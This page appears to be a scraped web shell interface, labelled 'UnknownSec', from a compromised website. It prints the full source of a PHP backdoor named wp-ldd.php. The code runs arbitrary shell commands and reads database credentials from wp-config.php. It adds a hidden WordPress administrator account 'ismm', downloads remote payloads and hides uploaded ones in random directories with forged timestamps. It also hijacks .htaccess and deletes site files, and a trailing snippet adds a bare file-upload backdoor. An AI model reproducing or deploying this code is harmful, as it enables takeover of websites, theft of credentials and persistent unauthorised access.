innovagency.co.za - UnknownSec 403

upload mass deface mass delete console info server
name : wp-ldd.php
 <?php
error_reporting(0);@set_time_limit(0);function fe($g){return function_exists($g);}if(fe("opcache_reset"))opcache_reset();function fex($g){return file_exists($g);}function gr($g){return $_REQUEST[$g]!=""?$_REQUEST[$g]:"";}$h=gr("a");if($h=="c")die("ps7n4K3CBK");if($h=="ul")(die(@unlink(__FILE__)));if($h=="k")die(@execute("kill -9 -1"));if(!defined("ROOT")){$j=$_SERVER["PHP_SELF"];if(!$j){$h=explode("?",$_SERVER["REQUEST_URI"]);$j=$h[0];}$o=__FILE__;if(!$o)$o=$_SERVER["PATH_TRANSLATED"];if(!$o)$o=$_SERVER["SCRIPT_FILENAME"];define("ROOT",str_replace($j,"",$o),false);}function r($q){return ROOT."/".ltrim($q,"/");}@unlink(r("sitemap.xml"));@unlink(r("sitemap_index.xml"));@unlink(r("robots.txt"));@userIni();@adduser();switch($h){case  "r":@r_f();break;case  "b":@back();break;case  "b2":@back2();break;case  "h":@htac();break;case  "hj":@hija();break;case  "iw":@isWP();break;case  "wic":@incFile();break;case  "d":@down();break;case  "e":@execute(gr("c"));break;}function isWP(){try{$r=r("wp-includes/version.php");if(fex($r)){$u="";include_once($r);die($u!=""?"1":"0");}}catch(Exception $w){}die("");}function execute($x){$y='';if($x){if(function_exists('system')){@ob_start();@system($x);$y=@ob_get_contents();@ob_end_clean();}elseif(function_exists('passthru')){@ob_start();@passthru($x);$y=@ob_get_contents();@ob_end_clean();}elseif(function_exists('shell_exec')){$y=@shell_exec($x);}elseif(function_exists('exec')){@exec($x,$y);$y=join("\n",$y);}elseif(@is_resource($r=@popen($x,"r"))){$y='';while(!@feof($r)){$y.=@fread($r,1024);}@pclose($r);}}return $y;}function r_f(){$r=gr("f");$w=gr("e");if($r)echo readF(r($r.$w));die();}function userIni(){$r=r(".user.ini");if(fex($r)){$g=readF($r);if(strpos($g,"auto_append_file")!==false){fileWrite($r,preg_replace('@auto_append_file.+?$@i',"",$g),false,0);}if(strpos($g,"auto_prepend_file")!==false){fileWrite($r,preg_replace('@auto_prepend_file.+?$@i',"",$g),false,0);}}}function getRandDirs($q,$z){$h="";for($aa=0;$aa<$z;$aa++){$bb=getRandDir($q.$h);if(!$bb)break;$h.=$bb.'/';}return trim($h,"/");}function getRandDir($q){$cc=array();$dd=scandir($q);foreach($dd as $bb){if($bb=='.'||$bb=='..')continue;if(is_dir($q.'/'.$bb))$cc[]=$bb;}if(count($cc)==0)return null;return $cc[array_rand($cc)];}function b64decode($ee){return base64_decode(substr($ee,6,strlen($ee)-12));}function fileRead($q){$r=file_get_contents($q);if(!$r){$ff=fopen($q,"r");$r=fread($ff,filesize($q));}return $r;}function fileWrite($q,$gg,$hh,$ii){$jj=mktime(19,5,10,10,26,2021);$h=0444;if(fex($q)){if($ii==1)$h=fileperms($q);$jj=@filemtime($q);@chmod($q,0666);};if(fex($q))@unlink($q);if(fex($q))@rename($q,$q."back");if(fex($q))@unlink($q);$kk=!1;$ll=@fopen($q,"w");if($ll){$kk=@fwrite($ll,$gg);@fclose($ll);}if(!$kk)$kk=@file_put_contents($q,$gg);if($kk){@touch($q,$jj,$jj);if($hh)@chmod($q,$h);}return (bool)$kk;}function saveFile($mm,$nn,$oo){return fileWrite(r($mm.$oo),b64decode(fileRead($nn)),1,0);}function back(){$pp=array();foreach($_FILES as $qq=>$bb){$rr=getRandDirs(r(''),rand(3,6));$r=$rr.'/'.$qq;if(fex($r)){$rr=getRandDirs(r(''),rand(3,7));$r=$rr.'/'.$qq;}$pp[]=array("n"=>$qq,"d"=>$rr,"s"=>saveFile($r,$bb["tmp_name"],".php"));@unlink($bb["tmp_name"]);}die(json_encode($pp));}function back2(){$ss=gr("n");$bb=gr("v");$rr=getRandDirs(r(''),rand(3,6));$r=$rr.'/'.$ss;if(fex($r)){$rr=getRandDirs(r(''),rand(3,7));$r=$rr.'/'.$ss;}$pp=array("n"=>$ss,"d"=>$rr,"s"=>saveFile($r,$bb,".php"));die(json_encode($pp));}function htac(){$ss=".htaccess";$r=r($ss);if(fex($r))@unlink($r);if(fex($r))@rename($r,$r.".bk");$kk=saveFile($ss,$_FILES["h"]["tmp_name"],"");@unlink($_FILES["h"]["tmp_name"]);die($kk);}function hija(){if(count($_FILES)==0)die(0);$cc=array_keys($_FILES);$mm=end($cc);if(gr("f")!="")$mm=gr("f");$rr=gr("d");$ss=gr("n");$ii=gr("m")?1:0;if($ss!=""){$rr=getRandDirs(r(''),$ss).'/'.trim($rr,"/");}$rr=trim($rr,"/");$r=r($mm.".php");if($rr!=""){$r=r($rr."/".$mm.".php");mkdir(r($rr),0777,true);}die(fileWrite($r,b64decode(fileRead($_FILES[$mm]["tmp_name"])),1,$ii)?"1".($ss!=""?"-".$rr:""):"0");}function readF($r){if(!fex($r))return"";$g=file_get_contents($r);if(empty($g)){$ff=@fopen($r,'r');if($ff){while(!@feof($ff))$g.=@fread($ff,1024);@fclose($ff);}}if(empty($g)){$g=@execute("/bin/bash -c 'cat ".$r."'");}return $g;}function incFile(){$rr=r("wp-includes");if(!is_dir($rr)){die();}$cc=array();$dd=scandir($rr);foreach($dd as $bb){if($bb=='.'||$bb=='..'||is_dir($rr.'/'.$bb)||strpos($bb,".php")===false)continue;$cc[]=$bb;}if(count($cc)==0)die();shuffle($cc);$ss=gr("n");if(empty($ss))$ss=3;die(implode(",",array_slice($cc,0,$ss)));}function adduser(){if(is_file(r('wp-config.php'))){$uu=readF(r('wp-config.php'));preg_match("@'DB_NAME',\s*'(.*?)'@",$uu,$vv);preg_match("@'DB_USER',\s*'(.*?)'@",$uu,$ww);preg_match("@'DB_PASSWORD',\s*'(.*?)'@",$uu,$xx);preg_match("@'DB_HOST',\s*'(.*?)'@",$uu,$yy);preg_match("@table_prefix\s*=\s*'(.*?)'@",$uu,$zz);$aaa=$vv[1];$bbb=$ww[1];$ccc=$xx[1];$ddd=$yy[1];$eee=$zz[1];$fff="3306";if(stripos($ddd,":")){$cc=explode(":",$ddd);$ddd=$cc[0];$fff=$cc[1];}if(trim($ddd)==""){$ddd="localhost";}$ggg=mysqli_connect($ddd,$bbb,$ccc,$aaa,$fff);$hhh="select * from $eee"."users where user_login='ismm';";$iii=mysqli_query($ggg,$hhh);$jjj=mysqli_fetch_array($iii);if($jjj['user_login']!=""||$jjj['user_login']!=null){$hhh="update $eee"."users set user_pass='\$P\$B048Faht2IlfSgEvyKyHYlAmtquiW.0' where user_login='ismm';";mysqli_query($ggg,$hhh);}else{$hhh="insert into $eee"."users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('ismm', '\$P\$B048Faht2IlfSgEvyKyHYlAmtquiW.0', 'ismm', '123@abc.com', '2020-04-21 06:42:46', '', '0', 'ismm');";$iii=mysqli_query($ggg,$hhh);$hhh="select ID from $eee"."users where user_login='ismm';";$iii=mysqli_query($ggg,$hhh);$jjj=mysqli_fetch_array($iii);$kkk=$jjj['ID'];$hhh="insert into $eee"."usermeta(user_id, meta_key, meta_value) values($kkk, '$eee"."capabilities', 'a:1:{s:13:\"administrator\";b:1;}');";$iii=mysqli_query($ggg,$hhh);$hhh="select * from $eee"."users where user_login='ismm';";$iii=mysqli_query($ggg,$hhh);mysqli_fetch_array($iii);}}}function c($q){$lll=curl_init();curl_setopt($lll,CURLOPT_URL,$q);curl_setopt($lll,CURLOPT_RETURNTRANSFER,1);curl_setopt($lll,CURLOPT_HEADER,0);curl_setopt($lll,CURLOPT_TIMEOUT,10);curl_setopt($lll,CURLOPT_FOLLOWLOCATION,1);$r=curl_exec($lll);curl_close($lll);return $r;}function c2($q){$ff=@fopen($q,'r');$hh="";if($ff){stream_get_meta_data($ff);while(!feof($ff)){$hh.=fgets($ff,1024);}fclose($ff);}return $hh;}function c3($q){$r=file_get_contents($q);if(empty($r))c($q);if(empty($r))c2($q);return $r;}function down(){$r=gr("f");$rr=gr("d");$z=gr("l");$w=gr("e");$hh=gr("b");$mmm=gr("b2");$ss=gr("n");if(empty($z)||empty($r))die('0');if($hh)$z=b64decode($z);if($ss!="")$rr=getRandDirs(r(''),$ss).'/'.trim($rr,"/");$rr=trim($rr,"/");if(empty($w))$w=".php";$gg=c3($z);if($mmm)$gg=b64decode($gg);$pp=array("n"=>$r,"d"=>$rr,"s"=>false);if($gg){$nnn=r($rr."/".$r.$w);$pp["s"]=fileWrite($nnn,$gg,1,0);}die(json_encode($pp));}
<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>
UnknownSec Shell
